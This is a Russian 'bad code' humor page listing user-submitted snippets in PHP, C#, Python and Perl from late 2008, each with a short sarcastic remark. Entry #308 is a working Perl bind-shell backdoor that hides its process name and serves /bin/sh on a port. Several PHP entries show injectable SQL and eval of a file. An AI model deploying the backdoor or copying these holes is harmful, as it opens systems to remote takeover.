1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #321

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    <?php
    function word_filter($str) {
    	$filtered = '';
    	for ($i = 0; $i <= strlen($str) - 1; $i++) {
    		$char = substr($str, $i, 1);
    		if (ctype_alpha($char)) {
    			$filtered .= $char;
    		}
    	}
    	return $filtered;
    }

    как делают дебилы: $i <= strlen($str) - 1;
    кто знает, так - $j = strlen($str), $i < $j

    guest, 01 Января 2009

    Комментарии (8)
  3. Perl / Говнокод #308

    −327.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    guest, 30 Декабря 2008

    Комментарии (8)
  4. C# / Говнокод #296

    −7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    int CompareTo (A a1, A a2)
    {
       if (a1.Year>a2.Year) return 1;
       if (a1.Year<a2.Year) return -1;
        return 0;
    }

    реализация интерфейса IComparable, чем не понравилось стандартное норминрование: return a1.Year - a2.Year; так и не понял

    guest, 28 Декабря 2008

    Комментарии (8)
  5. C# / Говнокод #292

    +13.4

    1. 1
    prNewProduct.Description = Convert.ToString(tbDescription.Text);

    А мы её ещё стрингее сделаем!

    guest, 26 Декабря 2008

    Комментарии (8)
  6. Python / Говнокод #289

    −421

    1. 1
    2. 2
    def list2str(lst):
    	return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))

    Функция, переводящая список в строку

    guest, 26 Декабря 2008

    Комментарии (8)
  7. PHP / Говнокод #288

    +37.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    <?php
    if (!$ncat) {
        $sql="select * from articles_cat where status=1  order by  `name` ASC limit 0,1";
        $res = m_qr($sql);
        if (m_rows($res)) {
            while ($row = m_arr2($res)) {
                $ncat=$row[id];
                ... 10 строк кода ...
            }
        }
    } else {
        $sql="select * from articles_cat where id='$ncat'";
        $res = m_qr($sql);
        if (m_rows($res)) {
            while ($row = m_arr2($res)) {
                $ncat=$row[id];
                ... те же 10 строк кода ...
            }
        }
    }

    Найди десять отличий...

    guest, 26 Декабря 2008

    Комментарии (8)
  8. PHP / Говнокод #281

    +20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    =----css----
    table{
    	border:0px; /* border="0" */
    	border-collapse:collapse; /* cellspacing="0" */
    	height: 100%;
    	width: 100%;
    }
    table td{
    	padding:0px; /* cellpadding="0" */
    }
    .inputMsg{
    	width: 100%;
    	color: #040253;
    	border:1px solid #096;
    }
    ----html-----
    <table><tr>
    	<td>time</td>
    	<td><input class="inputMsg" name="msg" type="text" maxlength="255"></td>
    	<td><a href="#" onclick="refreshChat(window.document.chatSend.msg.value); window.document.chatSend.msg.value='';window.document.chatSend.msg.focus(); return false;" class="inputEnter"></a></td>
    </tr></table>

    guest, 25 Декабря 2008

    Комментарии (8)
  9. PHP / Говнокод #273

    +24

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (!($conf_content = file_get_contents($data_path."voc.conf"))) {
            die("Cannot open voc.conf file, please check your DATA PATH ($data_path) parameter");
        }
    
    eval($conf_content);

    при условии что voc.conf является пхпфайлом, глупо делать такую мутотень когда можно просто обойдись file_exists и include

    guest, 24 Декабря 2008

    Комментарии (8)
  10. C# / Говнокод #255

    +12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    [Test]
    public void UserHasNoPermissionToDeleteTransactionWithEditPermission()
    {
      var user = CreatetestUser("test")
        .WithPermissions()
        .Allow("Transaction/Edit").Do();
      TestCurrentUser = user;
    
      var trn = CreateTestTransaction(120, typeof(CreditCardPayment));
    
      try
      {    
        // Who cares about delete, we never do it.
        // I need this test passed just NOW.
    
        // trn.AsIObject().Delete();
        // Assert.Fail("Exception expected");
      }
      catch (PermissionException ex)
      {
        Assert.IsTrue(true, "Cool we got an exception");
      }
      catch (Exception generic)
      {
        Assert.Fail("PermissionException expected.");
      }
    }

    Ничего не тестирующий тест

    guest, 24 Декабря 2008

    Комментарии (8)
  11. PHP / Говнокод #254

    +28.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    if ( 0 == 0 ) 
    { 
      $x += 1; 
      $yellow = ""; 
      if ( $myhighlight_unit[$i_high] == $row[$i]['ID'] ) 
      { 
        //echo $myhighlight_unit[$i_high]." == ".$i_high."<br />";   
        $yellow = "background-color: #ffcc33;"; 
      } 
      if ( $row[$i]['approved'] > 0 && $_SESSION['userid'] > 3 ) 
      { 
        $yellow = "background-color: #ff0000;"; 
      } 
      if ( $i_tr == 0 ) 
      { 
        echo "<tr>"; 
      }
    }

    Очередной шедевр от автора #66, #68 и #69

    guest, 24 Декабря 2008

    Комментарии (8)